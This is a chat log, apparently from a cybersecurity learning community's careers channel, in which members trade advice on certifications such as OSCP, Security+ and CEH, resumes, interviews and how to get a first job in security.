[rugged delta]

Keep it going with your degree course. See if there are opportunities through your college or via LinkedIn/Indeed and other jobs sites for graduate opportunities and internships. Many companies have such programs in place and tend to open recruitment in this fashion at this time of year. You might consider certifications. A lot of the time an employer will support you in acquiring certifications that are relevant to your new position, but occasionally you might be expected to already hold or be pursuing one or several.

For instance, it can help to do the IBM or Google cybersecurity courses on Coursera. These are certificates and you can possibly cram them during the free week they give you at the start. Alternatively, the ISC2 CC free exam and training might also be considered a good indicator of your intention to pursue a career in cybersecurity, but it does have an added yearly cost to maintain and encourages you to pursue other training and certifications, on your way to acquiring their pricey and somewhat sought-after CISSP sometime down the road.

Another reasonable option is the Security+, as it's widely recognised as an entry-level certification in the field, and also a first step on the DoD certification stream (if you're American)... You might also consider having a blog or a Github to showcase the things you're studying. There are tonnes of resources (books, courses, certifications & projects) that can help you demonstrate your learning and progression

[still scaffold]

Do you guys recommend to go for eJPT first or CEH for my first red team cert?

[pseudo creek]

neither?

are you in India?

[still scaffold]

No, Belgium

[pseudo creek]

yeah I wouldn't do either of those, you might have to look for Belgium specific requirements, OSCP, from what I understand is very popular in EU as well as other places

there is also PJPT or PNPT from TCM Security or CPTS from HTB but those most likely wouldn't have hireability factors

[rugged delta]

I wouldn't recommend either of those. eJPT and all INE certs/training have vastly poorer quality since they took over from eLearnSecurity. Also, unless you're in India, I'd avoid EC Council/CEH altogether. Their overpriced multiple choice quiz and a lot of their content are reportedly plagiarised from other companies and they have a reputation for highly unethical practices.

I'd suggest pursuing CompTIA certs like Network+, Security+, CySA+ or Pentest+ starting out and also consider certs like the TCM PNPT, HTB CPTS, OffSec OSCP, and down the road consider Zero-Point's CRTO I & II, Altered Security's CRTP/CRTE. But also, spend time first playing around here on THM and discussing your options with Zojja or myself and the other community members

[pseudo creek]

oh yeah I always forget zero point's CRTO, lots of people like that one

[rugged delta]

Yeah it looks really interesting and you get to play around with Cobalt Strike in their labs. There's also no report requirement

[brittle pier]

Don’t security conventions have recruiters

[rugged delta]

A recruitment convention might have a method to share your cv, regular computer conventions, they might give you some reading material and an email address/website to send your application, but you'll have far more opportunities through LinkedIn, Indeed, et al.

[flat sedge]

The best resources for job searching will be the connections you make at university and alumni groups.

[spring verge]

Hello , need some advices ... well i m a cybersecurity graduated but i worked for three years as a software engineer ....now i think it s time to go back to what i like more ....but don't know from where i can begin (certs , courses ...)

[brittle pier]

Subtlety said a pretty solid line up here #cyber-and-careers message

[spring verge]

Thank you so much

[serene umbra]

Gave +1 Rep to @brittle pier (current: #180 - 33)

[timid salmon]

I just realized that CEH is a multiple choice exam.

doesn't it sound a bit inconvenient?

like becoming a hacker via multiple choices??

[stoic cave]

It's not a great exam

[runic sail]

Is learning section in tryhackme is free or paid ? 👀

[brittle pier]

There are subscriber paths and free paths

Tho for the subscriber paths you can find free rooms people made that are about the same stuff

“Some”

[winged haven]

Do you happen to know or know what to look for when going for entry level job positions with no experience? What could be the best started jobs to get my foot in the door to apply? Every job it seems to require 3-10 yrs of experience and it blows my mind that there are no entry level jobs that I can find that are 0 yrs experience?

[hallow raptor]

@winged haven I am going through the same scenario currently but have decided to start with a help desk IT job and it in a related field, my goal from there is sys admin and then from their hopefully be done with school and find a cybersec job

[winged haven]

@hallow raptor really? Well that’s nice to hear others are going through the same. Because I have been trying for a year now and nothing this far.

[hallow raptor]

In my opionion, it just takes two main things tbh. Being as persistant as possible no matter how shit it feels not getting call backs or anything... trust me I know, and learning as much as you can.

the more you learn the more you know which you can use in aplpying for jobs and eventually you might even be able to skip through jobs tiers becuase of what you know. BE a SPONGE

[winged haven]

Appreciate it @hallow raptor this helps a lot. Guess for now just keep applying, and pray. Any companies you think would be best bet?

[hallow raptor]

I would look local, and honestly try on-site over remote if you can. Remote is awesome cause your at home but on-site if you have other peers there you can use them as resources to learn and grow. Also narrows the application list as a lot of people are looking for remote work currently

[edgy cedar]

Hello , does it help to publish room done to linkedin to find job opportunities or recruiter doesn’t care ?

[limber shale]

Probably not, unless you're the first one to complete it, or otherwise do a room where no one else has made a write up for. There's no way to tell if you completed it off of skill or off a guided spoon fed walkthrough.

[edgy cedar]

Yes you’re right but it means also that you can achieve a pretty good decent score with all the writeup by cheating and then tryhackme profile doesn’t help at all on job seeking ? To be clear, I’m doing thm to learn and not to find a job, just wondering if it help as a kind of resume ? Prob not

[loud fern]

That's correct, if the recruiter or interviewer knows what thm is and you use that as your only qualifier, it may not speak as well of you as you hope it would

[cobalt nymph]

Can you help me decide how to transmit data over TLS - in blocks or one-time? The first option offers high security, while the second prioritizes performance and efficiency. Which solution should be preferred?

[cobalt escarp]

Hey can you ask your friend to post it here instead of you please?

[fast heart]

in both cases the cipher contexts would start the same, so it wouldn't really matter much

[west sonnet]

Passed the Pentest+ exam 🤙

Besides the OSCP, what are some other desirable red-teaming certs that are around that level of knowledge/practical knowledge?

[little matrix]

Well done! Some that come to mind are PJPT, PNPT, CRTO. Keep in mind that the exams will be very different compared to Pentest +. No multiple choice questions.

[brittle pier]

Question do certs give you instructions on the stuff you have to research I order to pass? Or do you just study what ever you think would help you pass it

Like are you going in blindly?

[little matrix]

Most will give you all the details needed and provide you with study material (some include this with the exam fee, others ask for more $$).
I'd recommend visiting some of these websites to have a look at their certs" CompTIA, OffSec, TCM Academy,

[brittle pier]

Thanks

[serene umbra]

Gave 1 Rep to drgonzo7383 (current: #48 - 150)

[west sonnet]

Thank you 😄. I'll take a look into those, the more practical questions the better in my opinion. That's what I liked about the eJPT v1

[serene umbra]

Gave +1 Rep to @little matrix (current: #48 - 151)

[west sonnet]

In my experience, I find learning the concepts of theory and applying them to practical knowledge is most important. A lot of certs will cover these concepts and then either stay surface level or dive into specific topics. Usually, will aim for the certs requirements but will explore a bit and try to learn things the cert might not talk about.

I'm sure there's a better way out there but that's just what I do lol

[brittle pier]

I actually like that because diving deeper gives you a better understanding with the surface level stuff

[west sonnet]

Exactly 💯

[still scaffold]

Pentest+ -> PJPT -> OSCP yea/nea?

[spring verge]

Hello , do you recommend pecb certs ?

[rugged delta]

Pentest+ is good for theory and might be recognised by hr departments as your intent to pursue pentesting, but has no practical exploration/examination. PJPT covers the first section of the PNPT, so it might be more value to just do that. The OSCP is a complete exploration of the junior pentester path from basics to having the pentesting skills for a junior role and is highly valued by HR departments, pentesting teams and their clients.

You might alternatively pursue CPTS, CRTO, CRTP/CRTE. You can get comfortable with a lot of the skills needed, from Linux, Windows and networks to more complex concepts through THM and the paths and networks available to explore.

[dense dagger]

Check your local job market which is desirable

[naive wadi]

Hello everyone, which rooms do you recommend starting with for penetration testing training on the TryHackMe platform?

[indigo light]

@naive wadi I had this question just a few months ago, did the Intro to Cybersecurity learning path then the Jr Penetration Tester learning path. I dont remember if certain rooms are for subscribers or not but the jr pen tester learning path was really fun, recommended to me by a friend/mentor in the field with OSCP

[naive wadi]

Do you have a chance to send me the links of the rooms you solved for learning, either privately or from anywhere?

[indigo light]

just sent a dm of the jr pen test learning path

[naive wadi]

thank you for helping

[serene umbra]

Gave +1 Rep to @indigo light (current: #2040 - 1)

[brittle pier]

#general message shadow made a list of all the paths you should complete in order. You can skip all the blue team paths if you want

[slow remnant]

Hi, i have an interview next week for jr PT engineer, any advice to prepare for it? thanks

[broken lily]

Turn up on time

[runic nova]

It's very basic but it's got a fancy name and HR would generally be impressed by such a cool sounding certificate

[slow remnant]

jajaja good advice

[brittle pier]

Even showing up early shows you really want the job

And your responsible

[crude sphinx]

Information

Discord Slash Commands

https://support.discord.com/hc/en-us/articles/1500000368501-Slash-Commands-FAQ

Mar 29, 2024, 8:30 PM

[stoic cave]

"15 minutes early is on time, on time is late, and if you're late you're better not showing up"

Maybe not applicable to all situations, but the first two phrases are pretty good to adhere to

[timid salmon]

yeah I agree on the part that it is just a cool name certificate. But like what the point of it in the first place, any other certificate let take for example CPTS(certified Pen-tester specialist). It is way cheaper, practical exam heavy focused on AD which from my point of view is for world case scenarios.

[runic nova]

It's pretty good for absolute beginners and people who want to dip their toes into infosec world, IMO but not really worthy of the title "Certified Ethical Hacker"

[timid salmon]

as you said it only got the cool name. and I wouldn't think it would be good for beginners cause it won't take you from a beginner to a meduim hacker while other certs do so likE OWSP ,OSCP, CPTS ...

[runic nova]

Fair point but in a lot of cases certs are a way to get past HR

[timid salmon]

well yeah I agree with you

but having a experience from real world attacks would be more efficient

[runic nova]

I got EMAPT and ECCPT but often get contacted by recruiters because of the CEH.

[timid salmon]

well the cool name I guess of being a "Certified ethical hacker"

[runic nova]

Working in security is it's own beast 😄 experience will accumulate. Certs are fine for testing ones own skills and building confidence but there's also a lot of free / cheaper resources out there like CTFs and tryhackme labs

[runic nova]

Let's make a new multi choice cert called CERTIFIED MALICIOUS THREAT ACTOR

[timid salmon]

CMTA

cool

[languid garnet]

Hello, I recently passed comptia security+ and CC, what would you guys advice me to do as next certification ? Thanks for responses

[vestal vector]

so i'm remaking my resume to 1 page "classic style" one, I have:
work experience & projects:
skills and technologies:
certification:
education:

I cut summary because nothing else fits, probably my picture dont fit either if i wanted to add it. Also i put work experience and projects together because the IT stuff isn't technically work experience but stuff i've done by myself on my homelab etc.
I don't think it'd fit to separate them but probably makes no difference (?)

Is it a good layout or should i add a summary also?

[pseudo creek]

depends, projects, are those projects outside of work? If so, I'd put those near last

[vestal vector]

yeah IT projects, just to have some sort of "IT experience" to speak of

dont have actual IT work experience yet

[pseudo creek]

yeah still, I'd put that at the end. If you have no IT experience, then possibly move skills to the top

[vestal vector]

mm alright. And having a summary doesn't really matter right?

[pseudo creek]

kind of, but it could be useful to explain why the change in jobs

like I don't have one but my work experience would line up with any jobs I plan to apply for

[vestal vector]

even then i don't think i should cut any of those 4 sections for the summary? Dont have space otherwise

[pseudo creek]

how many years of work experience do you have?

[rustic laurel]

Im applying for work experience and I found a private detective service in my city online, however their services seem shady. Would anybody go into DMs to help me with this?

[broken idol]

If its shady don't apply and ignore it.

[warm hinge]

im tryna build a resume and i was wondering what projects i could add to maybe boost my chances

[dense dagger]

They should be close to what you're applying to

[warm hinge]

yea thats the thing not sure what to do

so im applying for a forensic position

i have a few image processing and recognition projects

other than that im tryna add something extra

[broken idol]

Set up your own homelabs for forensics in your house.

Plenty of free open source software to use, and there is plenty of ready made images for the purpose of forensics.

Have a look around on your facebook marketplace etc.

[warm hinge]

ah ok thx

[serene umbra]

Gave +1 Rep to @broken idol (current: #1 - 2110)

[rustic laurel]

Smart. I have found one out of three that isn't shady now

[rustic laurel]

@broken idol could I DM you regarding the previous issue?

[broken idol]

Being the shady work?

Nah.

There's no need.

[blissful kraken]

Hello, myself Ameya I'm from India and a recent graduate from 2023 engineering batch. I've done Bachelor of Engineering in Information Technology. I've been placed in an Indian multinational company but since it's a mass hiring, they're hiring as per different levels of packages (in batches), so I'm not yet onboarded, it's been 9 months at home, I thought of utilising this time to improve my Cybersec skills where I've a liking, I hate DSA btw.

I've done 4 internships (Java, Web Dev, Data Sci, Dotnet) over the course of my engineering period. Apart from these I've also completed the first course (Foundations of Cybersecurity) of the Google Cybersecurity Professional Certificate. I've completed Pre-Security path & 70% of Beginner Path on TryHackMe. As projects on my resume, I've some projects like Digital Voting based on Django, Stock Prediction, Web Dev based clones of website, Forex Calculator, World clock based in HTML, CSS etc. But a Cybersec related project I've done is a Password Cracker which brute forces a hash & tries to find the password from RockYou. And other one is a Vulnerability Scanner another python script that checks for open ports for a specific domain or if there is a specific port open.

I don't really know if I should start applying to Cybersec related jobs on LinkedIn but being from India idk what I should expect. I've been a Star Performer (Certification of an internship) and a Bronze Medalist during my school days in International Science Olympiad. This is my resume summed up.

Kindly suggest me some professional advice for job applying. 🙏

_ _
I'm even a guy who has stammering problem which makes me nervous during interviews & due to which I'm introvert. I learnt that since I'm an Indian, applying for Cybersec jobs in US, I won't stand a chance because most of their projects are related to government or army or very confidential such that they prefer only Americans even if we're more skilled.

Me having no liking in DSA I heard that there's no growth in Cybersec either if you're not good in DSA, my brother even showed me on LinkedIn some of the alumnus of top Indian institutes like IITs are not into Cybersec even people from his college in US. I've really lost hope I really wished I could get a job in Cybersec I've not tried applying yet though but this demotivated me.

I'm very much thankful for anyone who reads my story sorry I needed genuine advice. 🙏

[rustic laurel]

You seem like THE guy to talk to about digital forensics. But if that is how you feel then it is settled

[broken idol]

I was refering to the shady work, I don't tend to investigate things I don't need to, there is a small chance you can caught up in trouble, and it might not be shady, just looks it.

[vestal vector]

i've only added up to 2021/22 but none related to IT

[icy tapir]

Anyone know anything about BYU's cybersecurity degree?

[obsidian meteor]

Why don’t you just apply to Cyber jobs in India?

[fluid trench]

Any opinions on the best web certification that's affordable?

[stoic cave]

To help you with talking/general nervousness, talk in front of a mirror or see if there are any public speaking classes in your area. Even if it's just a couple classes, it helps. As far as getting a job in the US as a foreign national, I would probably avoid making a general statement of saying you're more skilled. I am assuming you didn't intend to write it like that, but it can definitely rub people the wrong way. As far as the cyber positions in the US, there are a lot, and they aren't just in the categories you mentioned. Also, cybersecurity requires a level of trust, so companies are going to be more hesitant to hire a foreign national. You'd also more than likely have to move to the US of you aren't here already. If you aren't, you'll have to look at the visa/sponsorship process.

[dense dagger]

BSCP from Burp Suite, CBBH and CWEE from HTB

[fluid trench]

was curious on if eWPT was regarded well on the trust scale

[dense dagger]

No

eWPTX, maybe but its still from INE

[solid star]

oof

Has anyone had an email interview before? I have one soon for a security analyst position

[brittle pier]

never heard of it

[solid star]

me neither it feels odd

[west sonnet]

Sounds a bit sus in my opinion

[pseudo creek]

that sounds a bit strange especially if it is at a specific time. For my current job, I did have to fill out a pre-interview questionnaire, which isn't out of the norm

[solid star]

I agree

I was hoping that it'd be like "we're having an asynchronous interview" but that feels wishful

[brittle pier]

It could be like a pre interview

[solid star]

it's a "virtual screening test / interview"

[stoic cave]

Is it an actual interview or is it a screen? Some companies I've applied for didn't do a phone screen and instead just emailed me a list of questions. Which I then responded to.

[sleek sedge]

Wouldn't it be easier for the company to put the questions on the original application form?

Unless they're not generic I guess

[stoic cave]

[solid star]

It was described as a "virtual screening test / interview." Hopefully it's the same as you've said

[sour magnet]

Just try applying bro, you never know what may come about. You have built a pretty solid portfolio already for an entry level cybersec role. I say go for it .!!!

[winged haven]

Hey all question what are the best trainings to use to get prepared for security + cert as well as CySA cert and so on? I seem to be overwhelmed with seeing that IBM COMPTIA COURSERA and others offer training course? Which ones would be best?

[rugged delta]

Usually for CompTIA certs I suggest the official study guide or one of the equivalents and/or practice questions, as well as a free or cheap course like Professor Messer or one of the ones on Udemy. The Coursera course isn't sufficient for Sec+ but it, or the Google one might still gain some recognition as a sign of interest from HR.

[solid star]

Seconding Professor Messer for Security+

[winged haven]

I just looked and’s the videos are free? What the heck

[fickle grove]

Yes they are, something wrong?

[winged haven]

No just wasn’t expecting the learning material for security plus to be free somewhere

Everywhere I look I have to pay for it

[polar aspen]

Highly recommend professor Messer, I also bought the official comptia sec+ and study question and it help me years ago

[blissful kraken]

Yes I'm applying

[blissful kraken]

As far as getting a job in the US as a foreign national, I would probably avoid making a general statement of saying you're more skilled.

No sorry I didn't mean that way, I just meant if in the US there are 2 candidates one is US citizen and other foreign national, even if the foreign national is more skilled, the companies there would still prefer a US citizen. I didn't mean I'm more skilled than them, I'm still learning.

You'd also more than likely have to move to the US of you aren't here already. If you aren't, you'll have to look at the visa/sponsorship process.

I've a future thinking to it, I'm looking to get some experience here in India and then go for a Masters degree either in CS or Cybersec (unsure if Cybersec or CS bcoz Idk if Master's in Cybersec is worthy) in the US then after that if I get a Cyber related job there I can stay. But how likely is it this way?

[blissful kraken]

Thanks for the motivation 🙏

[serene umbra]

Gave +1 Rep to @sour magnet (current: #2041 - 1)

[flat sedge]

There's a lot of reasons for that.

Hiring of a foriegn national for a US company is almost always done through a local office or local recruiter, and that's only if the worker is expected to stay in the country of hire.

Actually moving a worker to the US is hugely expensive. Between the moving cost, the visa sponsorship, and all the legal bills it would easily outstrip the cost of hiring a US citizen.

If the non-citizen already has a work visa and permission to work in the US, it can be a much simpler, but IIRC there are still time limits on how long a work visa is valid for

[blissful kraken]

Not moving actually say I'm pursuing my Masters degree and after it gets completed will I be able to get placement for a Cybersec related position in the US

Or still they would prefer citizen

[flat sedge]

See above.

[blissful kraken]

Hmm

[river ether]

heyy everyone

I wanted to learn ethical hacking and i have macbook can anyone guide me

[fickle grove]

#start-here

[south monolith]

Y’all recommend network + or CCNa for jobs ?

For USA

[split tapir]

Im not from the USA, but from totally general perspective the CCNA is on another level as far as I know

[south monolith]

So CCNa can be good choice for my certification?

[winged haven]

Anyone know of any companies in the US hiring someone with little to no experience in cyber or IT? I’m trying to get my foot in the door while I finish up my bachelors

[south monolith]

Check LinkedIn

[winged haven]

All the jobs I look on LinkedIn usually require the BS or or something crazy like 3-10 years of experience

[split tapir]

Definitely

[winged haven]

I can’t seem to find entry level positions for people trying to start out

[rugged delta]

Cybersecurity isn't really an entry level environment, though there are ways to develop yourself and the skills you need to be what a company is looking for. If you haven't got basic computing and cybersecurity skills, it would be beneficial to start on THM and progress from there. Check out #start-here

[flat sedge]

it's extremely rare to hire someone as a SOC analayst without some experience and/or background in IT. Entry level to security usually means 2-5 years of education and experience

[winged haven]

Thanks for these see never really knew that either @flat sedge @rugged delta

[serene umbra]

Gave +1 Rep to @flat sedge (current: #10 - 739)

[pseudo creek]

how long do you have til you graduate?

If you can, see if you can find a job in your school's IT department, they often have jobs available for students

[south monolith]

Yeah my school has it but fill out faster

[winged haven]

I have until end of this year

I go to school online so I’m out of state

[past furnace]

check dice.com

[south monolith]

Pretty good thanks

[serene umbra]

Gave +1 Rep to @past furnace (current: #2043 - 1)

[lucid fern]

Does anyone have experience with rotating shifts or on call rotations in a cybersecurity setting? What was that like? What things should I expect? What is it like in a fully remote setting? Does the workplace allow alternate changes to the schedule if you have certain responsibilities or difficulties (ie you have children or have to take care of family member or you have a disability that makes certain times difficult ; provided you are still able to do the same amount of work with a modified schedule)

[stoic cave]

It's going to depend on the workplace and their policies. New employees will more than likely get the less desirable shifts, ie third shift.

If it's shift work, you're going to need to work your assigned shift.

Rotating schedules could also be a factor, again it's going to depend on the workplace and policies

[pulsar pond]

Howdy fam. I'm looking to get into AppSec, and I'm looking to build out a portfolio full of projects that show off skills that would be applicable for that type of position. Does anyone around here have AppSec experience and/or advice on what types of projects to start with? For reference I have an SDET/QA Engineer background.

[dense dagger]

What part of AppSec are you looking to get in to?

[pulsar pond]

I'd be grateful for any AppSec Engineer role where I work tangentially to app development teams and am responsible for the overall security/threat and vulnerability management of the products like how I saw in my previous company. I'd also be open to threat detection, or any other blue team oriented position. I had a lot of the responsibilities of the AppSec team at my previous position without actually having the title.

[dense dagger]

That sounds cool. I think a good project is implementing security in the CICD pipeline such as SAST, DAST, SCA, etc. and then moving on to things such as security monitoring when promoting applications to production

You can then conduct VAPT exercise on your applications to verify your security controls

[pulsar pond]

I know that the job that I’m applying too uses an “all in one” tool, (like snyk) so it’s hard to figure out what is doing what and how to show when things break on each type of scan when I’m just learning it, you know? I’ll work on that tomorrow.
I found some open source apps to test, trying to figure out how to test the whole application because it’s literally just scanning one file for some reason. If you’re interested in troubleshooting it with me, you’re more than welcome to hop on a call with me some time tomorrow!

[dense dagger]

Snyk has a lot of tools and unfortunately I have not touched any of them except their SAST offering hahaha

[pulsar pond]

The SAST one is the free one, right?

[dense dagger]

but you can use free ones such as SonarQube’s community edition

[weak nest]

hello, different jobs within the security industry, career paths should follow the order like first Security analysts then Security engineers etc. Or can i start my career penetration tester ?? thanks

[rugged delta]

It's very rare but not unheard of to start your career as a pentetration tester. You'd generally need to know and understand a lot about computers, systems engineering/administration, Windows/Linux, Active Directory, Cloud platforms, perhaps some scripting/programming knowledge, web applications and spend a long time gaining knowledge and experience in such things. Also knowledge/skills in pentesting gained through platforms like Try Hack Me, participating in CTFs, maybe investigate bug bonties as a learnign experience, having degrees/certs in relevant disciplines, etc.

Also, a lot of it can involve interacting with clients, addressing their concerns, being aware of potentially harmful effects of your actions, writing clear and concise reports for various levels of a business, giving presentations on tools/techniques and discussing experieinces with your testing.

The field of penetration testing is a highly competitive one and you're going to need to be able to demonstrate a range of skills and knowledge. It's not just about knowing how to hack, but knowing how to provide a professional and valuable service to a client or employer

You could consider reading the Tribe of Hackers books by Marcus J Carey for inspiration, particularly the Red Team one

[pulsar pond]

I'll give that a look today, thank you!

[serene umbra]

Gave +1 Rep to @dense dagger (current: #22 - 361)

[weak nest]

Thanks a lot for your answer. What i understand is that it’s better to go step by step some like me.

[serene umbra]

Gave +1 Rep to @rugged delta (current: #21 - 364)

[lucid fern]

Thank you for the response I really appreciate it. 🙂

[serene umbra]

Gave +1 Rep to @stoic cave (current: #20 - 384)

[rugged delta]

If you're looking to get started, have a look on #start-here and if you get stuck, you can ask questions in the relevant channels

[floral ice]

Hey I'm looking at pivoting my career into the cybersecurity space. I currently work as a Technology Engineer at a fortune 100 company..I work in the email space and ms exchange..

I don't have any certs in the security space.. Would there be any that's recommended? Particularly is the US?

[pseudo creek]

do you have any idea of what area you would like to go into?

[split tapir]

Do you guys use custom CV templates or something?

I heard Europass CV is pretty popular

[warm hinge]

nice to see you as a MOD.

[floral ice]

I want to go into a blue team role. I'm thinking into SOC at first to get the most exposure, then move from there

[pseudo creek]

security+ is a solid cert to start with, there is also the CySA+ once you have that, but also look at gaining some skills such as Splunk. The blue team paths on THM should help as well

[floral ice]

Sweet, I do have SPLUNK knowledge. My team uses it to monitor email event logs but i'll start looking into the security+ and CySA+. I''m almost through the SOC 1 on THM.. But I need something I can put on a resume that will make me marketable...

[polar aspen]

Projects, and since you have splunk knowledge make sure to list that in your resume

[floral ice]

Other than doing rooms in THM are there other projects I should be looking at? I have a kali and Ubuntu installed on my system

[polar aspen]

You could search around github where people have labs and such, youtube and follow how people setup like SIEM and more and injest data into it

[lusty osprey]

Hey all, making a transition in my career and want to jump into cyber. Not coming from zero experience in IT. I work at a fortune 500, as a technical associate. Basically software management, trainings, presentations, etc. While also performing on-site risk assessments of water systems. I work with a variety of our company's IT teams, and got super interested since we're working with APIs and creating different permission levels for users. Anyways, I have a BS in Biology, and MS in environmental tech. Curious of where I should start in my journey. Ideally would like to pivot in my own company but starting with 0 certs. Any recommendations?

[mystic kiln]

@lusty osprey do you have a specific part of the field you want? Id start playing around and taking in information for fundementals and then comb through job postings online to see of something screams at you. Its a broad field and it helps having knowledge across it but finding your unique passion will help yoy guide your career.

[lusty osprey]

Thanks for the reply! Yeah, I was looking into cloud sec, or red / blue team. I like the idea of pen testing, running risk assessments, or consulting as I have public speaking skills. I was thinking starting as an analyst? Almost finished with the google cert, recently and THM. From friends/fam advice I heard of CompTIA?

[serene umbra]

Gave +1 Rep to @mystic kiln (current: #2044 - 1)

[mystic kiln]

Certifications can provide proof of your knowledge and often used as gatekeepers by companies on job applications. But while you can pass many certifications by memorizing information. It is important to understand what you are implementing and how it functions. A good start is working as an analyst and getting experience triaging systems. Through that you build experience and rapport. But this field will always require a hunger for knowledge, completing THM rooms can increase your knowledge while giving practical exercises. Comptia certs are largely considered entry level SEC+ specifically. But its a good starting point and keeping certs valid shows a continued dedication to the field and improving yourself.

There is also other affordable trainings out there. But find your budget, test yourself via THM, look into the certs and find some that appeal to your interests. Do not overlook getting out into the community via meetups, conferences, and other local gatherings. That can find you good mentorship and broaden your network. Our community is strongly commited to helping each other grow.

If your company has a SOC, id see what you can do to maybe get some time seeing what they do. Build that relationship and ask them what they recommend for you to get your foot into that door. Id be surprised if they turn you away. Its likely they will enjoy the interest and also be willing to put you forward if a position opens because they will know your work ethic and passion.

[lusty osprey]

Thanks for the advice and reply! Understood I want to make sure I am absorbing the information out there as there is seemingly a lot to know. I think I’m going to go for Sec + first. But I’m trying to figure out what could be used as good practice projects to help absorb the information. I enjoy learning and have built my own PC as well. This week, through my company I was able to obtain a mentor in cybersecurity actually. I’m waiting to speak to her to see what she says, or advice she gives, but could be a good entry point! I have two major questions: 1. Is a degree needed? 2. I’m confused if I should pursue a Net+ cert or CCNA, or if research and trainings is enough. Thanks a lot man really appreciate it

[serene umbra]

Gave +1 Rep to @mystic kiln (current: #1352 - 2)

[mystic kiln]

Of course, I am happy to help and provide any insight I can. In response to your questions,

Is a degree needed? That is a subjective question. You do not truly need a degree to get into the field but a degree can supplement your experience. For instance a BS is often treated as 2-4 years and a masters as 4-6. I argue that having degrees may not show you are current in the field as they are one and done accomplishments but they do show your ability to handle tasks, timelines, and research.

2. Net+ is a good broad network understanding entry cert. CCNA gets more tailored for Cisco and networking. In my experience.
   Look up Paul Jerimy Security Certifcation Roadmap to get an idea about what levels certs are generally look at as.

This is a choose your own adventure and you obviously have the passion to find your way. But do not ever feel like you will have to do this alone.

Ive found my passion is mixed between threat hunting/inteligence and pentesting so I am wokring to increase my knowledge in those areas. While staying informed on the broader security practices. Being knowledgable on both blue and red is a great benefit to the field.

Another good concept for comptia is look to see what certs renew other comptia certs and that can give you an idea of a route to pursue them.

[upbeat tartan]

Im new to the field declared as a cyber major other than doing try to hack me what else should I be studying and learning I’m committed just looking for guidance

[mystic kiln]

@upbeat tartan there are plenty of free webinars, blogs, magazines to get your interest peaked. THM has great learning rooms to build the fundementals and increase your challenges.